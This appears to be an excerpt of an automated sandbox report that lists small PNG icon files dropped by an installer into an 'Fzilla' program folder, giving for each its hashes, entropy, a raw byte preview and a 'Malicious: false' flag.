Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.405255915103047
Encrypted:	false
SSDEEP:	12:6v/7lVVM2ulVXlNAQqk41Z/EdcEPZVaHvudLjteXYFtbq7Q:vVXLAQqp1VEP3a0jLfqk
MD5:	41AEBB7C178D1149445D76AE2E8279E1
SHA1:	3158331BD0F2D6E5A382BC6964CF04F6409D4B2C
SHA-256:	24DA9AD9339D5CBFB3B7D19C6DF4C3FF6910DD22A5A0831919831A2C226AB82F
SHA-512:	5C8B1334C31D7C5C204AEA5F03550CFD76C3190F4F42569F864BE5A49618972B9F87996251BC59592D8286C8166D7BCB88809F46061A751EAF20EEF986388E7F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...Y.....6...j..:.....(.+....9.0....[....3..".F..l.Vy.@#......X6....2]...=.1.."...@..(...p....r..6P...K....*.......p..0.....wF...+.k.%..s.E..p.Z!..2.......`Y.-..%........0zE..`...K..!..;....r..b......X.X^4.{.a..1@x.....`..&@...B#0.... ..u....M..%..&.?.g.6@Z_.w.R.\V.....-..... ...._......`...^[...m........y.\7H.[<.....a.Y.Ya.-v9..3.x.G>...-..r...l....L3N?.T...... ......m....5E.PF.U.PG...F.M.SC5..QJ1ox....{. K.(!......A.D..#F...I.iH.%G....H...'N....B....D.....m..g....7..F.Y>..n.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-P8TDC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	521
Entropy (8bit):	7.428884083687768
Encrypted:	false
SSDEEP:	12:6v/7LFCEjL1RZxGrDTQswTkEOnuOwORt+TGef2c:GFCEfHZxGHEdXGj+92c
MD5:	BB1952637166CCD58F2771B8A240931D
SHA1:	1E378861435A43BF302EE610D994DF67F1BF45AB
SHA-256:	B8D75F344E99A187F2DDD265E5BB76AE339255261658A9FBABC642465EC3A928
SHA-512:	EDCF1DC7DB5B8A27E9A24DAF1C8DB05812BF7A0F0431B7B6DA10115F31913CEBEB50C9C4B2C25078C66026AC211BC41BCFAACCD106BBEBA87B5451CFA2D72409
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......A...U.k.......k#nl......j...o.;k.d.&..j.GCD.iN......,..I.E.a...CP.p.6..N!......o .......1`1..J.3.........(Moa....%m..v.....W.."...C.`.C.....).0.C..`....L.~.,......[..u.?y....EZ.Or..#_....&{.jE@...3j..s/....#...........z.....LQ..W....p..a.9...k?.....jN....'........}..........t...M@..........'..nw.....d....W=..>.an0.7R.?K.o...-.+@......0..8-......'.6~dK..3 ......2x..(.....!...CJ..B.?.....(.CH.\|.;5..q:=@..j.V....8..$..!..~..O.p..4.L.u)......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-Q5NKT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.3634051951422395
Encrypted:	false
SSDEEP:	12:6v/7tgqA4nr5TneO+aDvLKB9KHWQ34DLoUn3LTEUdSaI:mA4r5TneO+aXKByWQ3bC3LYvaI
MD5:	D96E11FF0520E77E4764FAD20C30BB54
SHA1:	6FA68B7DB0DE26F00134ECB1AF2688F96BD8B020
SHA-256:	7EC5BDA097B5D66FFD7ABC25C0FD6256B795CAAA969DF893D648C6A7B1E2C5CC
SHA-512:	FC40A4EBFDBF1B56CA726AC04819447F7F53415D1E635901526A1DF0442414E4EE33DA00EAFD8AFB7DC3EF4A31A682E14803F8F4E3367D7D4AFAC1E161306A4F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..5..A...s....t.%.s.%-N.S.5..........v..I..p>.......;.T......+^.^.{.-A.~........mn...........&.et<.B^..x./.........S.............8"....nBa....D..+N...E.';.z$..Ot...,.w....\|2x....$`_....~Xq.r.Hxy.^....].v............=..!..d. `(..U......_.:.2TV...N.....X\|...3x7...# .....%.a..'...P..$..........T...*P..&....I.O1..f9e.Ai....CZ&_.O(..wf.%..%.d.%c........`..h_..f.D.w.....D.QL....S..............a.........J..+n.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-QAM2L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1009
Entropy (8bit):	7.730676075143695
Encrypted:	false
SSDEEP:	24:qnTfNBP6UxnYHoyMEr423MtG2GUGx/150S4wb:qnLNEUUU2vx/v0Rwb
MD5:	203D5A2669348A380CE31CD46F2BB7A4
SHA1:	C2160A86D88BCE2EC71BF11082F8A4DE6F83F32E
SHA-256:	23E2E406DD16C7587FBD2C2174513BE4781C4796C66ED3C7207109BCB4E60870
SHA-512:	C9D7C9A3138F52B2A31E00BD6A9F47A81743557EB5A3A5F54D0C9A4FFF555D4C21834221BE9FB6911E27FD62A3C8404BB3592B02534A664D446AB5C19B9C62F2
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....X......m.m.m...m...w..M...N_..$_....{n13bYV.._.W..$.f..bo.Y......._X......<...f?._r.5.(..}E.5A....z...Q.......L......A...M..z.P.?....t...........a.M..h.[.Z...%z.......I.fjy).%u?.....$..L.B...&GN....L.B.(.f-@.nn.....G6......h........s.......L.....(@/..t.....~z....[R.. /....^......w_.6v..n[..{!q..@.9.....K..:.P./.D.{g.W.. .._.....q.p....Z.W.?.-...&.c..........xFn.....=....'q..T..N.....R.N3.........^..\|.E.W./2-..\|.p..@....V.7.....J.O.n..xM.5...Q.l.....ZB...~....U...Js..'`.te.........H.PH...5p..."C...Qb.(..h.>...0s..v.!......q.\....aB%....=P.vC.~nX..n.T...O..R....O.C..a.........ZB.B..`.X.~A.b.zy...n ..o){..J.<,.sA.:..^B...1.....6l....+W......od...,O.....&,.....@I..h....avX...a....pj.Q^;~w.......~..r..l.........l..>.l.JhQ...k...eu......#./9......m._(";h.5`1......8.?1%>...."0...M.rr.r..>$..U.[...?!..(/../W.......0.].....!.@:t..hWVA..Z...a....cs..0..a..t.Vm.Z{`(...=.r.X..6.u.s....p..@.T.7...

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-R8CD4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	504
Entropy (8bit):	7.305502415484808
Encrypted:	false
SSDEEP:	12:6v/7JLisGBfPapxgY70nwZ+23Qblu7N3w:A85Spp0wZ+uQBOw
MD5:	406F48B09D2D93776759412A436A4995
SHA1:	18B89A668EF32193A4F2849F76B421EC715EAFD7
SHA-256:	72582EE83B8A49F37F3C507CC750FAEC1F464BA522BF75B2D8067FA51764659C
SHA-512:	D3AC8550B583D6AA78BED286D2BF39BB9748F3A5C7D5C4193E34257E809FD83C25C6E5F7C89EF625A6A4EBD186003ABC0DBF59FB9610887AFE8FF8375B9F79D8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..%..q.F........X...5z..4"T4.N..$,...\~.....=3...^.X$.@G1..^.6......4^...G............2..A..\F...&.r..C0....L...n.z..>\....$0......w..=....N.......3.@.9<....0.2.m..G.m&....a.Y-.:So........?.8.<......0....O.c$.,.......v$B...{....\|?.......Ut.*.?.?L..g.._@.oN@....D.`.^e...o....~ ..........L...G.....;.L............x......0......@/...h4n..=..$/.i..w..\|.\|.>...../E.I.....iE@./.....,..%+...eT@...W+BB#m.O.,Jh...U..n..D...?.&.1%69.i.C.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-RLRKE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.716830127199217
Encrypted:	false
SSDEEP:	24:QbwM9ADGPGFe6NcdkZ/W+sxMtdG4iy87cZy46BnFrPQiYgN:Qb9SGPGFe6KmO+AX4ihcZy/nh/V
MD5:	E13B8306B9F5EF8F69247FA198CE998E
SHA1:	C8C111F17C2A80F4EF237F2127B65F7C9070CFC1
SHA-256:	12598DC838FCB1F85992565B4877328C2EC7E473BAD7C89762E915FA7C780700
SHA-512:	07FFEFFE0AB8F3B47517608C225ABD185691DBEBDB749B60728A7FA7FA38F7A5ED61A380B31CD88E4B15FEB5015AF9CB0C70104B1345DE111C2A7EF37FDF19F2
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....#i...m....c.m{..`..G.m.m.....uuw..lMW}./..{n...!".........dV$g\|..}.]........e.`n.....c...k.]........5..t(.1..1..\|#.......+eLp.M.]......C....`.M...j4........A4Ja...\| ...E......<..5..@..Vb....:...`ofk1..`wFk1.....F.R^..'.3.........R..@p..R.IQT..)oMn/EQ....%...y..mJ...^..!.Sy(kic\|.Z..;>.rN.....n..>..1W..\.p....9.:\.].5.q...B....m..b;.u=..&...@.H..DR[.8[..bMt.jn}....ZaUD..@....25.z=..$.g5.v.....q[_{.I."..P [.?.ij...E....../....Y.....i.(N..)...<..>.4.G....$..7O..'...G..uK..A^..8.gG !Q...FK.e.j.cF....y.{..xa`....z._..,....j... .W.,.%.........G.f......2............}^.9k..>.d.uz....g..GN.S.......r...g.7.?.3U?.....q..+j.i.n.0 ;...F........)/.3U7(W.....U.q......5N.u....2.[,...K,.a?..t...p..qo..!4.kG.....w.0....>>[...9\|......I9.....4......` .0S..j..t..~.:o...N......j}/.Fe8..@....4g.B...h..,.......'.'P.?.....@..b(.P...?U\.....g..Y*...L...}:.1.....A..`.....5.......!......R..,\|.,.....Cn.../do;V).....IEND

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-THNDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.527420944317178
Encrypted:	false
SSDEEP:	12:6v/7pyl4c7b4CCJBLK/owrVC99RJzlo2oBlzXmca2WQqQwOXWoCWpZacGyfRr1PD:Rl/nhMxi5+4+SNO6RRrtD
MD5:	57695683E3438E7B488D5E9A7B8164E2
SHA1:	F51184F2058B91F190B992C44CCE5242487A26E3
SHA-256:	AF385720A4ED2527FBA63BE42FF9E0772C1E3AA285BDAABD1B835A1F55A491D5
SHA-512:	F97D6D0018A42C1246046D1C4317130396F234EEC10C8E6904ED98D448E7CB0AB6358C04CFC7FC60EA00E41A74203D86F053E49A1FFF8C972D3E0B74BE532EDF
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...g.A........@. ...... .@@@@ ...F&...p.wn.....MWJykM...f.Y.OM.....fS........r.^..p8...l+...^..H..$.x<..v.J.....\|.&..D....b..@......z...Z.V.v....r.=...Ki[........\|.t...'........>.....w..(y)X:4....6!0.@..@.Q..;..P. z ......$/E.L...+!...@a.... ...K&...V.'\|...?.q...e.)'+....5D$y).d..p......lY.&s?.....,..,...0..H^IS.#....@.@...B.5...8A.n.@....r.....h"....3.<.VX...4.....fX....q..s]..69.p..?......(u.49.E.Y;..=...`.^...X'..........W_.4..9.R....VZ=Q'....8..&.........B..:V.%..N...!yAi..6..1............v.'.(....Q.m7u.l.vMi^.a.)........=..Z..{...W.!... .\|.........4. .............pQ..tcTk=..............%......p....78.!....,a...@..Q.\..>...t../.!.i.C...v...C..5......hA...".1..7.U.........@CAB.....74...2.*.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-UI6LP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	187
Entropy (8bit):	6.070350361328415
Encrypted:	false
SSDEEP:	3:yionv//thPlclIZzNnAatvt73tuBtyuqkElHQLIep8P0/EtIV8bSrHczVljp:6v/lhPKaZzue1XlkEhQMrhtIVCIHmljp
MD5:	0FF4E6044C03DD44EA861399939D3D52
SHA1:	DF89CCFA89299CA923A5C7CBBF103F4964617F98
SHA-256:	487B170834E45A2F021BBADA62502F534D5C768FD4C9DF088698AE5BD3C3A410
SHA-512:	C008244C0D8C5BE76CA71A10050010A3F5D43152932FE1940AD0235CF11DC688CFC3675BE1FC9F96F94BD7A373F250AEAC942C39A1C33D7EAB0C1BDAFEFF3F92
Malicious:	false
Preview:	.PNG........IHDR...0...0.....*l......PLTE.............U......tRNS....?$...\IDATx.......E.i.)Z..i....:70#..P...n....w+.....5Y.=....&2Rv`......P.y-.2..aV......7.p.;N....9V.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-V5UIO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1103
Entropy (8bit):	7.7946202243399005
Encrypted:	false
SSDEEP:	24:3Enx5/yYunqpJlsYs36ZayQAsshNhNh2eFa3qFOc:3EP/yOJg36IrsxSYaagc
MD5:	82816EF4221127FA3E95AD9DFD2ED927
SHA1:	FCA97101A6AC45ADC6114C3F55B0A79F1D63F980
SHA-256:	95E08CD4DFE30D63CBC08367DCD60EC1032A5A31202DE9F4A1CA66B0B87EE0CD
SHA-512:	49227B556823044F1E724278F4AE073DB5DD3B4C0CDB26BB5A299041C4FF500DC69D2AA279C80F58FC5FB1C4E46321D4FA78D12CE70F9712E674FB1EFFC5978B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.b............4g.@r,q.....<.m.m.m.vln.nb..T...aq.S.?6.o....D._..i..Q.....4..-.8]...."6..E..4bQ%ba....q9U..^)w...`r.....=.....g.#....H.....D...Ce..."V.@....J.C..Y.....>...&...k.fY.D..oC...i..9..H.l(...J..pN.\,qm.."...b.(ej....Hq_.Xl.{.....eB1..2/.2..qsE......2=S..&c...1...m..\k.....L.^...[.+.............T.Y.`..D.yc..+.c...>!.H.(.l........w...Q4..L..(.O....b..7.7..R.......v..YN.d#0%Q._n.g.Tp...3..99....-,\|.D...M."..D...".fn.......cb...;.z..'\|.>..0 .].......2...3{.....N......BLz.\|w.ws...+k...~...5t...B!zP...:..x....>S..Nw..."...=..fz....{"....".h[.O%z0...gG.X..j.v...&.4o.6j&..fH........\|?Rh..h.8k.%....F!..X."viG..O1.)...X.-.D....D=...X..b.+9.-C...O{...6..A.)..?[.^.[5.......%U...q.......aE4K..].r..;c...#v..Oi_..].v>7.p..}.=...h...._..Abc..p.N....AG...Bc..t..8...`.$...j.5.....V.68.'..\....L.n...u....r!/.B........B..8.&...U..:.x.........K.'.............bol.U..u..^!...A.,...#..i..p....aX...o9.....

C:\Program Files (x86)\Fzilla\resources\sun\48x48\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	187
Entropy (8bit):	6.070350361328415
Encrypted:	false
SSDEEP:	3:yionv//thPlclIZzNnAatvt73tuBtyuqkElHQLIep8P0/EtIV8bSrHczVljp:6v/lhPKaZzue1XlkEhQMrhtIVCIHmljp
MD5:	0FF4E6044C03DD44EA861399939D3D52
SHA1:	DF89CCFA89299CA923A5C7CBBF103F4964617F98
SHA-256:	487B170834E45A2F021BBADA62502F534D5C768FD4C9DF088698AE5BD3C3A410
SHA-512:	C008244C0D8C5BE76CA71A10050010A3F5D43152932FE1940AD0235CF11DC688CFC3675BE1FC9F96F94BD7A373F250AEAC942C39A1C33D7EAB0C1BDAFEFF3F92
Malicious:	false
Preview:	.PNG........IHDR...0...0.....*l......PLTE.............U......tRNS....?$...\IDATx.......E.i.)Z..i....:70#..P...n....w+.....5Y.=....&2Rv`......P.y-.2..aV......7.p.;N....9V.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.382565424085944
Encrypted:	false
SSDEEP:	12:6v/7+awNYcZ2uUuTnn0RK7epXe91AnaIkL/hl2Vo82/b5iRPXCk9dhlUZGDmwqV/:SUmknn0RK6A9mbylASd+qS/UQg/X
MD5:	C65E85D023A26170085149E8FC38025C
SHA1:	8EE4C5174DF80C7D71FC064F48BD8B113911DF1C
SHA-256:	6AF7C916345A848AA39AE3F8E37EB89F0E9BFB042CD990B236939E33C67D7922
SHA-512:	0A8B69D36300A4326629456EE1057F47DE1B2B6B5C0DB531131FF8F547C6C4C7CB803FE37B038DF92016CEA04981432F21F6E16A52DE0AFF1EDC55F56684AE1A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`.......PLTE...yyyzzz\|\|\|}yq}}}~zs.......\|b.\|c.......}V........T........L.................A..E..?..9..<........6..3.....0.....7.................-..+..-.....................................................................................................&..B..X..k..}...........................b.....tRNS.@..f...?IDATx...n@Q..{.n...1....oB\|p8..:.....&@&.........`M..u...Y.J..."`....3.q...:hk. . sp.Y2`X\t.H.mM.=....E.......`...`...U...l..S@...;.....*.q`p.".q..F.....0.d..p.t.?....\|..I.}..m}.{p.._\\|...5.....(..k.&..._.....XC......K@JZVFAQY][GWUR.......[H...U............... ?....................V.....hokceeck.........t..&:.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	7.690710474066297
Encrypted:	false
SSDEEP:	24:t4nnPBbvxk3qnvznnJfBwaDlV4+xRRtA8GsnfkfU6odAFty9c:6nnxbnfww4ERDrnMfU6t
MD5:	3FB36C132E4F5EC1D128F03EC57BF29A
SHA1:	427BF31AA443780384158F704ED692573206204F
SHA-256:	73F393E4948E67AE4690AD212791F9A9ED11EB4B71C3355AA84818081E762318
SHA-512:	6D47CE91924AB7BA6D810F816FA06DA16A41DD0C2F4F61E95F0ADDB7966BF12A6431CD0EABB7B52586CA9D7CB6C4726878A401DDEBDD3351335498F3097C4929
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....+I..._.l.m.m.m.m.f.k.w...}s...N..9.>_.w.}........t....X...4.4..5^.qw..............po...w....w...L....&h.W...../...L.v..:ej1...<.X.-......x...... 0y.kZ2...,2.....[..L..w7m<...R.g.u..7...A.....i..hOs}......P5.....@..1.L......."pL.......d..>3@`.'y!>...N.S....e..p@GF...........&z.wZ.P:.i.....W..:.(.k.=U(.N ..;.x..Z....EO ......-q.=....FM Ek....$...#DM E..<.e1......4...<..1.B..n..R...3.4.......1.....T...K...@./...e.m.@...0....q..;...LS.....D=.$U.....[G..~...........PR....C.........(.D....5C=.=..Q...Od_...R...Vo....hpw.[..x3....,j..>.,<T..P\|.m.N..5.A..T..QD....{...."...` ..;..........cl.l..D.......o..r..#`......+.cd...1..t7/6}.N...).0......r...b.F...s`.uY......z...`...1.&...;$@..F....bq,5'._.....xiCv.X..aF..a.#YBCB.....s`.....\t?.....y.kb5..E1K.\|O.:.F.r...a......\.w*.>..1.....^...1..JX.Sa.D..3....n..10-..J..[..aGq.m.....z..3.9....S`4.C...L.......bf,.5...u.7^.KO.E.o.........w.Bl.U.0....}..E..#

C:\Program Files (x86)\Fzilla\resources\sun\48x48\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.714315786865792
Encrypted:	false
SSDEEP:	24:etsJN884TjygquasnoGfYFDf7EswYtQj16KaKOWcVy:et4CjZUvGAVLw55pFOzs
MD5:	253A884029A69D4DE5F27A84EEA0FDA2
SHA1:	AAD2F8296EEB56CC0CB59329E089F92138B998B3
SHA-256:	9EC6CFAAC2A53E47459E976D5584AA9A787BB4AFBA4DE8D15015795EEDD91F90
SHA-512:	9CFCF6826982AFC5FB8DAAAD58E3FB27F2E5A8D56C6A72CA5EC256CCEF0872773B0704770689E11F2C9ADFC40D917FE7E193812EA8C85E7030C2DA72AA0D8C40
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...S`3Y....m.m...m.m...U...N......W.......K.2..Y.a.y.W'#.k........<..D.@......u.kF..K.-I%.y...v...(46.h.#.2.)@...T..a.BY...@....../}c.g.P.._......x.[3.g.K$.....~x....1...9..#........2D.i..2._.(...c.z...\..G.'..............( .K.Q.&.xp..u....k.A...9........dV..z\+c7..<M...%z..D.......Q...."lU....u....jI.N.........tG.y...j.g.n...:/.......Y..../F....V\|......."Q....H..K`...3...o ..\..<.}.7.]......../.6.......H.....a(.:...)=.r.9...]...D]...8C.]w..u...q......aPXE.G~N.V.b...77C1..D.V..=.B.9.B.t$W.pS*...j>.X...P...$.L5E...q%j...XH.3.pu1...@L......\|......<...........".....l.A.qy....=..N.8...!.d9..L.l.~...!2_..o]....\|.......~...\|}.w.?r?.......)0........6M..........c'.?t...<..Sx..Gvs.x.^..>........s...s.........-..a..W3.9.P.%5.XK....^.r.....&.m.M>q[...X.......{......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.5877230014480475
Encrypted:	false
SSDEEP:	24:I2tv0v10NaUBGpbS5pCn9SyoGy78vQIcosHuY9:IrcLGpbGySyP5Q1
MD5:	E5B9EC99980236547FB555C888093AD4
SHA1:	FDBA41B9356D5D39BB98CC96A202032C0D344F4F
SHA-256:	721FB1358B80CC813773AD5BD63C4F895BD5BE7C1769C31E0BFE8F6FD502AFF3
SHA-512:	EE44D198D65BC36C3038A0BB9B7BF01E822B3EFB5925F76FF2468C12C62CFB8E942D955CFFA9793B133352420AD0F924965E8F7CDFA05C438DBDD3AD015FA5CD
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..C..A..3..m....m..km...-.Ysz...PkT/..>...W.....$... ......o...X:..F.@.................i...24.....4m.p.U......1=......:k.T.b.044.324jU..#......l.H..:..k2..c_..CQJk.?$..[...........".,..;p..K.&.[.$....&1..m.RR1..xNWY.i..z..u.....Q.2\|.z..@.@.@.@.x..d....T.......p.c.l.....&3..`..F.B..x.L.M.c.`......F...3.c%.@'qj+ .g.......n..!......`..8.....{.......H5(w,<.#\.....,.'Y.. @.5.f.......@)D..)yNOU............{.......z.Q..P.U.;.4....Kq.h..N...QM..+!.;. i.i.8..u!+...4....<..n..@W.y.....C..t6.....9E)mr.=....o...P+.*..O...3....v....y@.v.G/.....2.../......<..r.P.Y?[..h.,U..i\....@6BT:.y .Ex?.8..Z..b....Dk..%.<P.NW3\|F....J;-.@O..;....f..>@..KD..Z.}..H.A7:.....R+1....T.V"..tf!.....B....i.N...z.d....L..t..t6.i5......... ....E......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1009
Entropy (8bit):	7.730676075143695
Encrypted:	false
SSDEEP:	24:qnTfNBP6UxnYHoyMEr423MtG2GUGx/150S4wb:qnLNEUUU2vx/v0Rwb
MD5:	203D5A2669348A380CE31CD46F2BB7A4
SHA1:	C2160A86D88BCE2EC71BF11082F8A4DE6F83F32E
SHA-256:	23E2E406DD16C7587FBD2C2174513BE4781C4796C66ED3C7207109BCB4E60870
SHA-512:	C9D7C9A3138F52B2A31E00BD6A9F47A81743557EB5A3A5F54D0C9A4FFF555D4C21834221BE9FB6911E27FD62A3C8404BB3592B02534A664D446AB5C19B9C62F2
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....X......m.m.m...m...w..M...N_..$_....{n13bYV.._.W..$.f..bo.Y......._X......<...f?._r.5.(..}E.5A....z...Q.......L......A...M..z.P.?....t...........a.M..h.[.Z...%z.......I.fjy).%u?.....$..L.B...&GN....L.B.(.f-@.nn.....G6......h........s.......L.....(@/..t.....~z....[R.. /....^......w_.6v..n[..{!q..@.9.....K..:.P./.D.{g.W.. .._.....q.p....Z.W.?.-...&.c..........xFn.....=....'q..T..N.....R.N3.........^..\|.E.W./2-..\|.p..@....V.7.....J.O.n..xM.5...Q.l.....ZB...~....U...Js..'`.te.........H.PH...5p..."C...Qb.(..h.>...0s..v.!......q.\....aB%....=P.vC.~nX..n.T...O..R....O.C..a.........ZB.B..`.X.~A.b.zy...n ..o){..J.<,.sA.:..^B...1.....6l....+W......od...,O.....&,.....@I..h....avX...a....pj.Q^;~w.......~..r..l.........l..>.l.JhQ...k...eu......#./9......m._(";h.5`1......8.?1%>...."0...M.rr.r..>$..U.[...?!..(/../W.......0.].....!.@:t..hWVA..Z...a....cs..0..a..t.Vm.Z{`(...=.r.X..6.u.s....p..@.T.7...

C:\Program Files (x86)\Fzilla\resources\sun\48x48\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	7.786872572151653
Encrypted:	false
SSDEEP:	24:3lRSamsunkY2pKhRmMMFoLTX7Gla4MJd4jH55m2BtLLWhK:3DbY2pKf7MF0eaP/iH3jvmK
MD5:	1A3DF90C330E57BCB8EAE1684D809F11
SHA1:	2BE1B7E64E3A327C1CA2127D7A0F58D3225CA6EC
SHA-256:	AE3867E790DB34103F8A32396A8090C6D54C4392AD74527B477A18863EDE78FD
SHA-512:	40A082794D6AE49CEA3194E08C1C56B261475D323A10AB6D5A8906F42F173CDC19A78F1FAA1934AF0AC609E83B572C2D96153E1C311740BB9E1305D857CAC3D7
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....l=....m<.m.m.m.m..[].b1'.S..2Iw23.B=z........c.r...~........s..-...+p..~.~...@....s.................1..!..,TF..n..~.j..KB.....F...}n......8.........Y.....!:U.+..#..........F........U.lb&......;.6=.. .K.Z.@...X.{n=.rsO>.~..#w..}W...Wq.^4..i....D...e....#q/....3.....V..n3.5..od..........b..........7^.Y..G...........cw\....p..dn...V..G..mW....(6f%.e...&.W..`..`.i;m.87.}.d..A2[.....cU..........6...P...4..../...+..X....>g_..a....].....%7.i.......<...0.s.:$yyh...BC.T...r..Sb...n.1N}...x.'S...m...$F........zm.aRF.k...~.2:F>....O+...'F:..8..d0y...g+...`.y..d..wd...N.R...'2T..&. ._d..q..._.D.0.e...{.pxc..?......J..YI..t0..pLD...{".6n3..p..^U]..2.A./..(......N...........a...:../V.....8....>x.:_....\|....[..T11Ll5ML...8..kF....U.....'.5..&^..p......._ ....U../?....._SU...:@d..M..^./.].7..'......M.2......k.eU.kK=>H...9..8.`.... .H....R.2...U....rL./[..f..Aj..........&..H\.. ?(......N.........z.P....@

C:\Program Files (x86)\Fzilla\resources\sun\48x48\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	521
Entropy (8bit):	7.428884083687768
Encrypted:	false
SSDEEP:	12:6v/7LFCEjL1RZxGrDTQswTkEOnuOwORt+TGef2c:GFCEfHZxGHEdXGj+92c
MD5:	BB1952637166CCD58F2771B8A240931D
SHA1:	1E378861435A43BF302EE610D994DF67F1BF45AB
SHA-256:	B8D75F344E99A187F2DDD265E5BB76AE339255261658A9FBABC642465EC3A928
SHA-512:	EDCF1DC7DB5B8A27E9A24DAF1C8DB05812BF7A0F0431B7B6DA10115F31913CEBEB50C9C4B2C25078C66026AC211BC41BCFAACCD106BBEBA87B5451CFA2D72409
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......A...U.k.......k#nl......j...o.;k.d.&..j.GCD.iN......,..I.E.a...CP.p.6..N!......o .......1`1..J.3.........(Moa....%m..v.....W.."...C.`.C.....).0.C..`....L.~.,......[..u.?y....EZ.Or..#_....&{.jE@...3j..s/....#...........z.....LQ..W....p..a.9...k?.....jN....'........}..........t...M@..........'..nw.....d....W=..>.an0.7R.?K.o...-.+@......0..8-......'.6~dK..3 ......2x..(.....!...CJ..B.?.....(.CH.\|.;5..q:=@..j.V....8..$..!..~..O.p..4.L.u)......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\showhidden.png (copy)
